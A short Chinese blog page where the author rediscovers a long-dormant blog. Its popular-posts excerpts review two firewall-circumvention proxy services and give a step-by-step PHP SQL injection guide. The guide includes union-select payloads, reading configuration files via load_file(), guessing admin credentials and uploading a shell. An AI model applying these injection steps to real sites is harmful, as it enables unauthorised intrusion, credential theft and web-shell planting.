原来这里还有一个blog

我都忘记了啊。

之前还是2008年的时候在用，之后被墙了也就没有在登录。虽然并没有被困住，但也忘掉了它的存在啊。

原来已经11年了。

评论

发表评论

此博客中的热门博文

【机场测试】海豚湾

图片
海豚湾是一个非常低调的老机场，价格适中，比喵帕斯略贵，技术上来看比喵帕斯也更完善一些。订阅上比喵帕斯多了可以根据地区选择订阅。 价格上小海豚的价格基本就是喵帕斯高级vip的价格了，不过不限带宽和流量。注册后显示流量为1T/月，用完可工单申请重置。 小海豚：29/月，85/季，320/年 大海豚：39/月，115/季，430/年 速度上也比较理想，测试可以达到满速，高峰期测试也有100m带宽以上。 稳定情况比喵帕斯好很多，检测到审计信息时只是阻止但不会断流和停封账号。 注册需要邀请码： 邀请注册，需翻墙
阅读全文

【机场测试】喵帕斯

喵帕斯是老牌机场，线路分1级级路和2级线路，1级线路可以提交工单重置流量，2级为更优质线路不可重置流量。 价格： 1级线路：20元/月，240元/年 2级（包含1级）：30元/月，360元/年 均为1T流量/月 性价比较高，香港线路较多，速度较好。 之前看测评说存在断流情况。实际使用一周后就出现了断流情况，可能是由于喵帕斯审核策略误判引起的。 线路基本都支持netflix，但在Apple TV中字幕会出现中断的情况，浏览器访问未发现字幕问题。自建线路则不会出现这样的情况，可能是由于解锁技术造成的。 如果是在终端上使用的用户会比较理想。如果是在路由上使用，并使用Apple TV看netflix的用户需谨慎。
阅读全文

SQL注入步骤

  通常PHP注入的步骤如下： 1）先查看是否存在漏洞。 2）判断版本号以决定是否可以用union连接，and ord(mid(version(),1,1))>51。 3）利用order by 暴字段，在网址后加 order by 10，如果返回正常说明字段大于10。 4）再利用union来查询准确字段，如: and 1=2 union select 1,2,3,.......直到返回正常，说明猜到准确字段数。如过滤了空格可以用'/**/'代替。 5）判断数据库连接帐号有没有写权限，and (select count(*) from mysql.user)>0，如果结果返回错误，那我们只能猜解管理员帐号和密码了。 6）如果返回正常，则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值，用逗号隔开)),8,9,10 ，load_file(char(文件路径的ascii值，用逗号隔开))也可以用十六进制，通过这种方式读取配置文件，找到数据库连接等。 7）首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user，如果返回正常，说明存在这个表。 8）知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user，如果在2字段显示出字段内容则存在些字段。 9）同理再猜解password字段,猜解成功再找后台登录。 10）登录后台，上传shell
阅读全文